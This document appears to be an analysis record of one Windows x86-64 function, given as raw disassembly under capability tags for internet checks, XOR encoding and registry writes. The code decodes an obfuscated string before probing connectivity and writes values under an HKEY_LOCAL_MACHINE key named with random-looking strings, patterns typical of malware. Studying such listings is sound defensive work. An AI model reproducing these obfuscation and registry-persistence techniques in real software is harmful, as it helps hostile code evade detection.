Function at 0x140034e60
Capabilities:
Check internet connectivity via wininet
Encode data using xor
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0xe8]
sub rsp, 0x1d0
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
mov rax, qword [0x14010c718]
xor rax, rsp
mov qword [rbp + 0x90], rax
mov rsi, rcx
mov qword [rbp + 0x40], rcx
xor r15d, r15d
mov dword [rbp + 0x48], r15d
cmp byte [0x14010e540], r15b
je 0x1400354c4
movups xmm0, xmmword [str.YFGD]
movups xmmword [rsp + 0x38], xmm0
mov eax, dword [0x1400f6500]
mov dword [rsp + 0x48], eax
movzx eax, word [0x1400f6504]
mov word [rsp + 0x4c], ax
cmp byte [0x1400f6505], r15b
je 0x14003508e
mov ecx, r15d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14003504c
movdqa xmm5, xmmword [0x1400fa330]
movdqa xmm4, xmmword [0x1400fa540]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1400fa3d0]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm0, xmmword [0x1400fa480]
movdqa xmmword [rbp + 0x20], xmm0
lea rdx, [rsp + 0x3c]
mov r8d, dword [rbp + 0x20]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400fa460]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
pxor xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400fa460]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
pxor xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140034f40
cmp ecx, 0x16
jge 0x14003508e
movsxd rax, ecx
lea r8, [rsp + 0x38]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x31
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x16
jl 0x140035060
xor r8d, r8d
mov edi, 1
mov edx, edi
lea rcx, [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetCheckConnectionA]
test eax, eax
je 0x1400354c4
lea r8, [0x14010e370]
lea rdx, [rbp - 0x60]
lea rcx, [0x14010e430]
call fcn.1400283b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x68], r15
movups xmm0, xmmword [rax + 8]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x18]
movups xmmword [rbp + 0x60], xmm1
mov qword [rax + 0x18], r15
mov qword [rax + 0x20], reloc.WS2_32.dll_ntohs
mov byte [rax + 8], 0
lea rcx, [rbp - 0x60]
call fcn.140031210
lea rcx, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae rcx, qword [rbp + 0x50]
xor edx, edx
lea r8d, [rdi + 9]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
lea r14d, [rax + 1]
mov dword [rbp + 0x48], r14d
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 1]
xor r8d, r8d
lea rdx, [0x1400f35d0]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rdx, [0x1400f3650]
test eax, eax
jne 0x14003517d
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 3]
xor r8d, r8d
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x14003519c
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14003519c
mov r8d, dword [rbp + 0x48]
lea rcx, [0x1400f35d0]
test r8d, r8d
jne 0x140035197
mov r8d, edi
call fcn.140012270
jmp 0x14003519c
call fcn.140012270
mov rbx, qword [rbp + 0x60]
cmp rbx, 1
cmovb rdi, rbx
lea rcx, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae rcx, qword [rbp + 0x50]
sub rbx, rdi
lea r8, [rbx + 1]
lea rdx, [rcx + rdi]
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x60], rbx
movzx eax, word [0x1400f6b24]
mov word [rsp + 0x30], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_50], 0
je 0x1400351e9
mov byte [rsp + 0x30], reloc.WLDAP32.dll_Ordinal_32
xor byte [rsp + 0x31], 0x32
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140035204
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x20]
call fcn.14000b2f0
nop
mov edx, r14d
lea rcx, [rsp + 0x78]
call fcn.140023420
nop
lea rdx, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae rdx, qword [rbp + 0x50]
mov r8, qword [rbp + 0x60]
mov rcx, rax
call fcn.140036b70
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea r9, [rbp + 0x20]
lea r8, [rsp + 0x58]
lea rcx, [rsp + 0x38]
call fcn.1400149d0
nop
mov rdx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x140035286
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x38]
call fcn.140036b70
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x80], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x140035307
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035302
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140035302
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400be344
movdqa xmm0, xmmword [0x1400fa320]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x38], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14003535b
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035355
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140035355
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400be344
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x14003539a
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035395
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140035395
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400be344
movdqa xmm0, xmmword [0x1400fa320]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x1400353ea
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400353e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400353e5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400be344
lea r9, [rbp + 0x70]
lea r8, [0x14010e370]
lea rdx, [rbp - 0x60]
lea rcx, [0x14010e430]
call fcn.140026870
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x14003543c
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035437
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140035487
call fcn.1400be344
mov qword [rbp - 0x18], r15
mov qword [rbp - 0x10], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x28], 0
lea rcx, [rbp - 0x38]
call fcn.140036220
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x140035493
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003548e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003548e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400be344
cmp r14d, 3
jl 0x1400354af
mov rdx, rsi
lea rcx, [rsp + 0x58]
call fcn.140022d60
mov rcx, rax
call fcn.140035500
nop
lea rcx, [rbp + 0x70]
call fcn.14000add0
nop
lea rcx, [rbp + 0x50]
call fcn.14000add0
jmp 0x1400354e7
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
mov r9b, 1
movzx r8d, r9b
lea rdx, str.bKd9RQ8VezJhJYveCs6EjA1fk4BT7QEn
lea rcx, str.SOFTWARE5l9Z2KfybPPERnOkaIB3aPIDZRra7Nxm
call fcn.140012340
mov byte [0x14010dcc2], 1
call fcn.14000a750
int3